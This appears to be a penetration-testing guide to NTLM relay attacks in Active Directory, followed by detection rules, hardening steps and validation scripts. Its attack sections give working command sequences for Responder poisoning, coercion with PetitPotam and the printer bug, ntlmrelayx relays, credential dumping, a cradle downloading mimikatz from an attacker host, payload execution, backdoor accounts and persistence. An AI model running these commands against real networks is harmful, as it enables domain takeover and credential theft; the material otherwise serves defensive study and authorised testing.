
NTLM Relay Attacks
Net-NTLMv2 relay for lateral movement and privilege escalation: SMB, LDAP and AD CS relay with Responder and ntlmrelayx, plus detection and mitigation.
Introduction
An NTLM relay attack forwards someone else's authentication attempt to a service of the attacker's choosing. No hash is cracked. It works because of a gap in the NTLM challenge-response protocol: the server that accepts the authentication cannot verify that the client meant to connect to it.
When a user or computer authenticates to a service the attacker controls, the attacker passes that exchange on to another service where the victim has rights. If the victim is a local admin on the target, or holds privileges in the directory, the attacker gets those rights for the length of the session.
NTLM is a legacy protocol and Microsoft recommends Kerberos, but NTLM is still enabled in most networks for backward compatibility and as the fallback when Kerberos cannot be used. Add a common misconfiguration such as SMB signing not being required, and relay is usually possible somewhere on an internal test.
Password policy does not help
A relay needs no password cracking. The captured authentication is forwarded in real time, so password complexity and rotation policies do nothing against it. The fixes are signing, channel binding and removing NTLM.
Technical background
How Net-NTLMv2 authentication works
Net-NTLMv2 is the challenge-response exchange Windows uses to authenticate to network services such as SMB, HTTP, LDAP and MSSQL. The sequence:
- The client connects to a service and asks to authenticate.
- The server sends an 8-byte random challenge.
- The client computes a Net-NTLMv2 response from the user's NT hash and the server challenge.
- The server (or a domain controller on its behalf) checks the response against the stored credential.
The parts of the exchange:
| Component | Description | Security implication |
|---|---|---|
| Challenge | 8-byte random value from the server | Unique per session, but says nothing about who asked for it |
| Response | HMAC-MD5 hash of challenge + client data | Can be forwarded without modification |
| Target information | Details about the server requesting authentication | Contains SPN, domain, and server name |
| Session key | Negotiated for session encryption | Derived from the authentication exchange |
The weakness is that nothing in the basic exchange ties the response to the server the client intended to reach. An attacker in the middle can:
- Receive an authentication request from the victim
- Open a connection to a different service
- Hand that service's challenge to the victim
- Return the victim's response to the target service
- Hold an authenticated session as the victim
Net-NTLMv2 response vs the NT hash
The two get confused, and they are used differently.
NT hash (stored credential):
MD4(UTF-16-LE(password))
Used for: Local authentication, pass-the-hash attacks
Example: aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42Net-NTLMv2 hash (challenge-response):
HMAC-MD5(ServerChallenge + ClientData)
Used for: Network authentication, cannot be passed directly
Example: admin::DOMAIN:1122334455667788:D6E6152EA25D03B61F...The Net-NTLMv2 response is bound to one server challenge, so it cannot be used for pass-the-hash. It can be relayed to another service in real time, or cracked offline to recover the plaintext password.
Attack prerequisites
A relay needs four things:
- SMB signing is disabled or not required on the target (for relay to SMB). Not required is the default on workstations and member servers. Domain controllers usually require it.
- The target service accepts NTLM authentication. SMB, HTTP, LDAP and MSSQL are the common targets.
- The victim account has privileges on the target: local administrator on the machine, Domain Admin, or specific rights such as DCSync or user management.
- You can get the authentication to come to you, through a man-in-the-middle position, name resolution poisoning (LLMNR, NBT-NS, mDNS) or coercion.
Attack methodology
Reconnaissance
Find the hosts that do not require signing before you set up a relay:
# Scan for SMB signing status across network
crackmapexec smb 192.168.1.0/24 --gen-relay-list targets.txt
# Identify systems without SMB signing
nmap --script smb2-security-mode.nse -p445 192.168.1.0/24
# Enumerate authentication patterns with Responder
responder -I eth0 -A -v
# Identify high-value targets
crackmapexec smb targets.txt -u '' -p '' --sharesReading the SMB signing results:
# Signing required (not a relay target)
SMB 192.168.1.10 445 DC01 [*] Windows Server 2019 (name:DC01) (domain:CORP)
(signing:True) (SMBv1:False)
# Signing not required (relay target)
SMB 192.168.1.50 445 WS01 [*] Windows 10 (name:WS01) (domain:CORP)
(signing:False) (SMBv1:False)
SMB 192.168.1.100 445 FILE01 [*] Windows Server 2016 (name:FILE01)
(signing:False) (SMBv1:False)signing:True means the host requires signing. signing:False means it does not, whether signing is enabled or off, and either way the host accepts a relayed session.
Forced authentication techniques
A relay needs an incoming authentication. These are the ways to get one.
LLMNR/NBT-NS poisoning with Responder:
# Start Responder in analysis mode first
responder -I eth0 -A
# After confirming traffic, start poisoning
responder -I eth0 -wv
# Responder with SMB/HTTP disabled for relaying
responder -I eth0 -wv -d -DFiles on a share that reference an attacker-controlled path:
# Create SCF file for automatic authentication
cat << 'EOF' > @evil.scf
[Shell]
Command=2
IconFile=\\<attacker-ip>\share\evil.ico
[Taskbar]
Command=ToggleDesktop
EOF
# Upload to accessible file share
# User browsing directory triggers authenticationIPv6 DNS takeover with mitm6:
# Exploit IPv6 preference in Windows
mitm6 -d corp.local -i eth0
# Combine with ntlmrelayx
ntlmrelayx.py -6 -t ldaps://dc01.corp.local -wh attacker-wpad.corp.local -l lootThe printer bug (MS-RPRN):
# Force domain controller to authenticate
SpoolSample.exe dc01.corp.local attacker.corp.local
# Capture authentication with Responder or relay to targetPetitPotam (MS-EFSRPC coercion):
# Coerce authentication from domain controller
python3 PetitPotam.py -u user -p password attacker.corp.local dc01.corp.local
# Extremely effective for relaying to ADCS serversBasic SMB relay attack
The SMB-to-SMB relay. Start ntlmrelayx:
# Configure Responder to disable SMB/HTTP servers
vim /etc/responder/Responder.conf
# Set: SMB = Off, HTTP = Off
# Start Responder for authentication capture
responder -I eth0 -wv
# In another terminal, start ntlmrelayx
ntlmrelayx.py -tf targets.txt -smb2support
# Enhanced with command execution
ntlmrelayx.py -tf targets.txt -smb2support -c "powershell -enc <base64_payload>"
# Dump SAM database
ntlmrelayx.py -tf targets.txt -smb2support --sam
# Execute socks proxy for interactive access
ntlmrelayx.py -tf targets.txt -smb2support -socksTarget file format (targets.txt):
192.168.1.50
192.168.1.51
FILE01.corp.local
WORKSTATION02.corp.localOutput from a successful relay:
[*] SMBD: Received connection from 192.168.1.100
[*] SMBD: Authenticating against 192.168.1.50 as CORP/ADMIN SUCCEED
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xaabbccdd...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::LDAP relay attacks
Relaying to LDAP on a domain controller changes directory objects with the victim's rights, which makes it the usual route to privilege escalation.
LDAP relay for user privilege escalation:
# Relay to LDAP with privilege escalation
ntlmrelayx.py -t ldap://dc01.corp.local -smb2support --escalate-user lowpriv
# Add a new computer account (uses the relayed account's MachineAccountQuota)
ntlmrelayx.py -t ldap://dc01.corp.local -smb2support --add-computer newcomputer$
# Configure RBCD on the relayed computer account in favour of an account you control
ntlmrelayx.py -t ldap://dc01.corp.local -smb2support --delegate-accessLDAPS relay (works when LDAP channel binding is not enforced on the domain controller):
# Relay to LDAPS for encrypted channel
ntlmrelayx.py -t ldaps://dc01.corp.local -smb2support --escalate-user victim
# Combine with shadow credentials attack
ntlmrelayx.py -t ldaps://dc01.corp.local -smb2support --shadow-credentials --shadow-target targetuser$Active Directory Certificate Services (AD CS) relay:
# Relay to ADCS Web Enrollment
ntlmrelayx.py -t http://ca01.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Request machine certificate
ntlmrelayx.py -t http://ca01.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template Machine
# Authenticate with the certificate
# Use certificate with Rubeus or gettgtpkinit.pyMulti-relay scenarios
Three common ways to combine a trigger with a relay target.
Scenario 1, workstation to domain controller:
# Terminal 1: Poison network
responder -I eth0 -wv
# Terminal 2: Relay to DC's LDAP
ntlmrelayx.py -t ldap://dc01.corp.local -smb2support --escalate-user compromised
# Terminal 3: Monitor for authentication
# When user with DA rights authenticates, compromised user gains privilegesScenario 2, cross-protocol relay:
# HTTP to LDAP relay
ntlmrelayx.py -t ldap://dc01.corp.local --http-port 80 --escalate-user attacker
# Trigger with printer bug to force HTTP authenticationScenario 3, SOCKS proxy for interactive access:
# Start relay with SOCKS support
ntlmrelayx.py -tf targets.txt -smb2support -socks
# Use proxychains for interactive commands
proxychains secretsdump.py -no-pass CORP/ADMIN@192.168.1.50
# Execute commands through SOCKS
proxychains smbexec.py -no-pass CORP/ADMIN@192.168.1.50Exploitation techniques
Dumping credentials
With a relayed admin session, dump credentials from the target:
# SAM database dump
ntlmrelayx.py -tf targets.txt -smb2support --sam
# LSA secrets dump
ntlmrelayx.py -tf targets.txt -smb2support --lsa
# Complete credential dump
ntlmrelayx.py -tf targets.txt -smb2support -c "powershell IEX (New-Object Net.WebClient).DownloadString('http://attacker/mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"Executing payloads
The -c option runs a command over the relayed session:
# Execute PowerShell payload
ntlmrelayx.py -tf targets.txt -smb2support -c "powershell -enc <base64_payload>"
# Upload and execute binary
ntlmrelayx.py -tf targets.txt -smb2support -c "copy \\attacker\share\payload.exe C:\temp\ && C:\temp\payload.exe"
# Create scheduled task for persistence
ntlmrelayx.py -tf targets.txt -smb2support -c "schtasks /create /tn Updater /tr C:\Windows\System32\payload.exe /sc onlogon /ru SYSTEM"
# Add local administrator
ntlmrelayx.py -tf targets.txt -smb2support -c "net user hacker Password123! /add && net localgroup administrators hacker /add"Establishing persistence
Commands for keeping access after the relay:
# Create service for persistence
ntlmrelayx.py -tf targets.txt -smb2support -c "sc create backdoor binpath= C:\Windows\System32\payload.exe start= auto"
# Modify registry for persistence
ntlmrelayx.py -tf targets.txt -smb2support -c "reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d C:\Windows\payload.exe"
# Dump the LAPS passwords the relayed account can read
ntlmrelayx.py -t ldap://dc01.corp.local -smb2support --dump-laps
# DCSync attack through LDAP relay
python3 secretsdump.py -no-pass -use-vss 'CORP/ADMIN@dc01.corp.local'Advanced attack scenarios
IPv6 DNS takeover combined with NTLM relay
Windows prefers IPv6 over IPv4, and mitm6 uses that to become the victim's DNS server:
# Terminal 1: Start mitm6
mitm6 -d corp.local -i eth0 -hw attacker-pc
# Terminal 2: Configure ntlmrelayx for LDAPS
ntlmrelayx.py -6 -t ldaps://dc01.corp.local -wh attacker-wpad.corp.local -l loot --delegate-access
# Terminal 3: Monitor /loot directory for captured data
watch -n 1 'ls -lah loot/'The attack flow:
- mitm6 answers the victims' DHCPv6 requests
- It sets the attacker's host as their IPv6 DNS server
- Victims query WPAD (proxy auto-discovery)
- The resulting authentication is relayed to LDAPS
- Delegation rights are granted to accounts the attacker controls
Multi-hop relay chains
A relay can run from a pivot host to reach targets in another segment:
# Pivot Box 1: Forward SMB to pivot
ntlmrelayx.py -tf pivot-targets.txt -smb2support --outputfile relay1.log
# Pivot Box 2: Relay to final targets
ntlmrelayx.py -t ldaps://dc01.corp.local -smb2support --escalate-user finaluser
# Orchestrate authentication trigger from external network
# Uses multiple layers to bypass network segmentationExploiting cross-forest trusts
Relay across a forest trust:
# Enumerate trust relationships
crackmapexec smb dc01.corp.local -u user -p password --trusted-for-delegation
# Configure relay for cross-forest target
ntlmrelayx.py -t ldap://dc01.partner.local -smb2support --escalate-user attacker@partner.local
# Trigger authentication from CORP forest
# Relay to PARTNER forest for privilege escalationWebDAV to SMB relay
WebDAV clients authenticate over HTTP, which can be relayed:
# Configure ntlmrelayx for multiple protocols
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"
# Create malicious shortcut (.lnk) file
# Target: \\attacker@80\share\file.txt
# Users clicking trigger HTTP authentication
# Also works with .library-ms files
# Triggers automatic WebDAV authenticationDetection and monitoring
Network-based detection
Zeek/Bro NSM signatures:
# Detect Responder poisoning
signature responder-llmnr {
ip-proto == udp
dst-port == 5355
payload /.*\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00/
event "Possible LLMNR poisoning detected"
}
# Detect abnormal SMB authentication patterns
signature smb-relay-pattern {
ip-proto == tcp
payload /.*NTLMSSP\x00\x03\x00\x00\x00/
event "NTLM authentication from unexpected source"
}Suricata rules:
# Detect Responder HTTP server
alert http any any -> any any (msg:"Responder HTTP Authentication Capture"; \
content:"Server: Microsoft-IIS/"; content:"WWW-Authenticate: NTLM"; \
detection_filter:track by_src, count 5, seconds 60; \
classtype:credential-theft; sid:1000001;)
# Detect mitm6 WPAD poisoning
alert http any any -> any any (msg:"Possible WPAD Poisoning"; \
content:"|47 45 54|"; http_method; content:"/wpad.dat"; http_uri; \
threshold:type limit, track by_src, count 1, seconds 300; \
classtype:credential-theft; sid:1000002;)Windows event log monitoring
Event ID 4624 (successful logon):
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[(EventID=4624)]]
and
*[EventData[Data[@Name='LogonType']='3']]
and
*[EventData[Data[@Name='AuthenticationPackageName']='NTLM']]
and
*[EventData[Data[@Name='WorkstationName']!='<expected_hostname>']]
</Select>
</Query>
</QueryList>Event ID 4648 (logon with explicit credentials):
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[(EventID=4648)]]
and
*[EventData[Data[@Name='TargetServerName']='localhost']]
</Select>
</Query>
</QueryList>SIEM detection rules
Splunk query for NTLM relay:
index=windows EventCode=4624 Logon_Type=3 Authentication_Package_Name=NTLM
| stats count by Source_Network_Address, Workstation_Name, Account_Name
| where count > 10 AND Workstation_Name!=Source_Network_Address
| table Source_Network_Address, Workstation_Name, Account_Name, countElastic (ECS) query:
{
"query": {
"bool": {
"must": [
{"match": {"event.code": "4624"}},
{"match": {"winlog.event_data.LogonType": "3"}},
{"match": {"winlog.event_data.AuthenticationPackageName": "NTLM"}}
],
"must_not": [
{"match": {"winlog.event_data.WorkstationName": "$source_ip"}}
]
}
}
}Sentinel KQL query:
SecurityEvent
| where EventID == 4624
| where LogonType == 3
| where AuthenticationPackageName == "NTLM"
| where WorkstationName != IpAddress
| summarize Count=count() by IpAddress, WorkstationName, TargetUserName, TimeGenerated
| where Count > 5
| order by Count descMitigation strategies
Enable SMB signing
Requiring SMB signing stops relay to SMB. Group Policy configuration:
Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options
Set the following:
- Microsoft network client: Digitally sign communications (always) = Enabled
- Microsoft network client: Digitally sign communications (if server agrees) = Enabled
- Microsoft network server: Digitally sign communications (always) = Enabled
- Microsoft network server: Digitally sign communications (if client agrees) = EnabledPowerShell verification:
# Check current SMB signing status
Get-SmbServerConfiguration | Select EnableSecuritySignature, RequireSecuritySignature
# Enable SMB signing on server
Set-SmbServerConfiguration -EnableSecuritySignature $true -RequireSecuritySignature $true -Force
# Enable SMB signing on client
Set-SmbClientConfiguration -RequireSecuritySignature $true -Force
# Verify across domain
Get-ADComputer -Filter * | ForEach-Object {
$computer = $_.Name
try {
$signing = Invoke-Command -ComputerName $computer -ScriptBlock {
Get-SmbServerConfiguration | Select EnableSecuritySignature, RequireSecuritySignature
}
[PSCustomObject]@{
Computer = $computer
EnableSignature = $signing.EnableSecuritySignature
RequireSignature = $signing.RequireSecuritySignature
}
} catch {
Write-Warning "Could not check $computer"
}
}Disable NTLM authentication
The long-term fix is Kerberos only. Audit NTLM usage first:
# Enable NTLM auditing
auditpol /set /subcategory:"Logon" /success:enable /failure:enable
# Configure via Group Policy
Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options
- Network security: Restrict NTLM: Audit NTLM authentication in this domain = Enable all
# Review logs for dependencies
Get-WinEvent -FilterHashtable @{LogName='System'; ID=4624} |
Where-Object {$_.Properties[10].Value -eq 'NTLM'} |
Group-Object {$_.Properties[5].Value} -NoElement |
Sort-Object Count -DescendingThen disable NTLM in stages:
Phase 1: Audit only (identify dependencies)
Phase 2: Deny NTLM except for specific servers
Phase 3: Deny all NTLM authentication
Group Policy Setting:
Network security: Restrict NTLM: NTLM authentication in this domain
- Set to "Deny all" after thorough testingLDAP signing and channel binding
These two settings protect LDAP and LDAPS from relay:
# Enable LDAP signing on domain controllers
reg add "HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" /v LDAPServerIntegrity /t REG_DWORD /d 2 /f
# Enable LDAP channel binding
reg add "HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" /v LdapEnforceChannelBinding /t REG_DWORD /d 2 /f
# Restart NTDS service (requires maintenance window)
Restart-Service NTDS -Force
# Verify configuration
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" |
Select-Object LDAPServerIntegrity, LdapEnforceChannelBindingExtended Protection for Authentication
EPA binds the authentication to the TLS channel, which stops relay to HTTPS services:
# Enable EPA for web services
Set-WebConfigurationProperty -Filter /system.webServer/security/authentication/windowsAuthentication -Name useKernelMode -Value True -PSPath IIS:\
Set-WebConfigurationProperty -Filter /system.webServer/security/authentication/windowsAuthentication -Name extendedProtection/tokenChecking -Value Required -PSPath IIS:\
# Verify EPA configuration
Get-WebConfigurationProperty -Filter /system.webServer/security/authentication/windowsAuthentication -Name extendedProtection/tokenChecking -PSPath IIS:\Network segmentation
Segmentation limits which hosts a relayed session can reach:
# Create Windows Firewall rules for administrative protocols
New-NetFirewallRule -DisplayName "Block SMB from Workstations" `
-Direction Inbound -Protocol TCP -LocalPort 445 `
-Action Block -RemoteAddress 192.168.1.0/24
New-NetFirewallRule -DisplayName "Allow SMB from Servers Only" `
-Direction Inbound -Protocol TCP -LocalPort 445 `
-Action Allow -RemoteAddress 192.168.10.0/24
# Implement Private VLANs for workstation isolation
# Prevents lateral movement between endpointsDefensive practices
Security checklist
- Require SMB signing on all systems (required, since enabled alone still allows relay)
- Enable LDAP signing and channel binding on domain controllers
- Disable LLMNR and NBT-NS via Group Policy
- Enable Extended Protection for Authentication on web services
- Segment the network to isolate sensitive systems
- Monitor Event IDs 4624, 4648, 5140 for suspicious authentication
- Deploy an EDR that detects NTLM relay
- Audit and reduce the systems that still require NTLM
- Use a tiered administration model to limit credential exposure
- Enable attack surface reduction rules in Windows Defender
Disable legacy protocols
# Disable LLMNR via Group Policy
Computer Configuration > Administrative Templates > Network > DNS Client
- Turn off multicast name resolution = Enabled
# Disable NBT-NS via PowerShell
Get-NetAdapter | ForEach-Object {
$adapter = $_.Name
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces\Tcpip_$($_.InterfaceGuid)" `
-Name NetbiosOptions -Value 2
}
# Disable WPAD via Group Policy
User Configuration > Preferences > Windows Settings > Registry
New Registry Item:
- Key Path: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad
- Value Name: WpadOverride
- Value Type: REG_DWORD
- Value Data: 1Monitoring and alerting
A PowerShell example that watches for relay indicators:
# PowerShell monitoring script
$logPath = "C:\SecurityLogs\NTLMRelay_$(Get-Date -Format 'yyyyMMdd').log"
while ($true) {
# Monitor for suspicious NTLM authentications
$events = Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4624
StartTime=(Get-Date).AddMinutes(-5)
} | Where-Object {
$_.Properties[8].Value -eq 'NTLM' -and
$_.Properties[11].Value -ne $_.Properties[18].Value
}
if ($events) {
foreach ($event in $events) {
$logEntry = @{
TimeGenerated = $event.TimeCreated
SourceIP = $event.Properties[18].Value
Workstation = $event.Properties[11].Value
TargetUser = $event.Properties[5].Value
LogonType = $event.Properties[8].Value
}
$logEntry | ConvertTo-Json | Out-File -Append $logPath
# Send alert
Send-MailMessage -To "security@corp.local" `
-From "alert@corp.local" `
-Subject "Potential NTLM Relay Detected" `
-Body ($logEntry | ConvertTo-Json) `
-SmtpServer "mail.corp.local"
}
}
Start-Sleep -Seconds 60
}Testing and validation
Verify SMB signing configuration
# Test SMB signing from Linux
crackmapexec smb 192.168.1.0/24 --gen-relay-list targets.txt
# Manually verify with smbclient
smbclient -L //target.corp.local -U 'user%password' --option='client signing=required'
# Check with Nmap
nmap --script smb2-security-mode -p445 192.168.1.0/24Expected secure output:
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled and requiredSimulate the attack (authorized testing)
# Controlled test environment
# Step 1: Verify targets allow relay
crackmapexec smb test-targets.txt -u '' -p ''
# Step 2: Start monitoring
tcpdump -i eth0 -w ntlm-test.pcap port 445 or port 389
# Step 3: Execute controlled relay
ntlmrelayx.py -tf test-targets.txt -smb2support -debug
# Step 4: Trigger authentication
# Use test account with known permissions
responder -I eth0 -I test.local -A
# Step 5: Verify detection mechanisms triggered
# Check SIEM alerts, EDR detections, event logs
# Step 6: Document gaps and remediateValidate mitigations
# Comprehensive validation script
$results = @()
# Test 1: Verify SMB signing
$computers = Get-ADComputer -Filter * | Select-Object -ExpandProperty Name
foreach ($computer in $computers) {
try {
$signing = Invoke-Command -ComputerName $computer -ScriptBlock {
Get-SmbServerConfiguration | Select RequireSecuritySignature
} -ErrorAction Stop
$results += [PSCustomObject]@{
Computer = $computer
Test = "SMB Signing"
Result = if ($signing.RequireSecuritySignature) {"PASS"} else {"FAIL"}
}
} catch {
$results += [PSCustomObject]@{
Computer = $computer
Test = "SMB Signing"
Result = "UNREACHABLE"
}
}
}
# Test 2: Verify LLMNR disabled
$llmnr = Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" -Name EnableMulticast -ErrorAction SilentlyContinue
$results += [PSCustomObject]@{
Computer = $env:COMPUTERNAME
Test = "LLMNR Disabled"
Result = if ($llmnr.EnableMulticast -eq 0) {"PASS"} else {"FAIL"}
}
# Test 3: Verify LDAP signing on DCs
$dcs = Get-ADDomainController -Filter * | Select-Object -ExpandProperty Name
foreach ($dc in $dcs) {
try {
$ldapSigning = Invoke-Command -ComputerName $dc -ScriptBlock {
(Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters").LDAPServerIntegrity
}
$results += [PSCustomObject]@{
Computer = $dc
Test = "LDAP Signing"
Result = if ($ldapSigning -eq 2) {"PASS"} else {"FAIL"}
}
} catch {
$results += [PSCustomObject]@{
Computer = $dc
Test = "LDAP Signing"
Result = "ERROR"
}
}
}
# Export results
$results | Export-Csv -Path "C:\SecurityAudits\NTLMRelay_Validation_$(Get-Date -Format 'yyyyMMdd').csv" -NoTypeInformation
$results | Where-Object {$_.Result -eq "FAIL"} | Format-Table -AutoSizeReferences
MITRE ATT&CK techniques
- T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay - Primary relay technique
- T1557 - Adversary-in-the-Middle - Parent technique
- T1187 - Forced Authentication - Forcing NTLM authentication
- T1021.002 - Remote Services: SMB/Windows Admin Shares - SMB relay targets
Vulnerabilities
- CVE-2019-1040 - NTLM MIC Bypass - Drop the MIC attack
- CVE-2020-1472 - Zerologon - Netlogon relay target
Microsoft documentation
- Microsoft: SMB Signing Documentation - SMB signing configuration
- Microsoft: LDAP Channel Binding - LDAP hardening
Security research
- Dirk-jan Mollema: Worst of Both Worlds - Advanced relay techniques
- SpecterOps: Not A Security Boundary - Forest trust attacks
Tools documentation
- Responder - LLMNR/NBT-NS poisoning
- Impacket ntlmrelayx - NTLM relay attacks
- PetitPotam - NTLM relay via MS-EFSRPC
Next steps
Kerberoasting
What to do with a domain account once a relay has given you one.
AS-REP roasting
Another offline cracking route that needs no privileges on the target.
Pass-the-Hash attacks
Using the NT hashes that a relayed SAM or LSA dump returns.
Kerberos delegation attacks
How to use the delegation rights that --delegate-access writes.
AD CS attacks
ESC8 and the other certificate abuses, including what to do with a relayed certificate.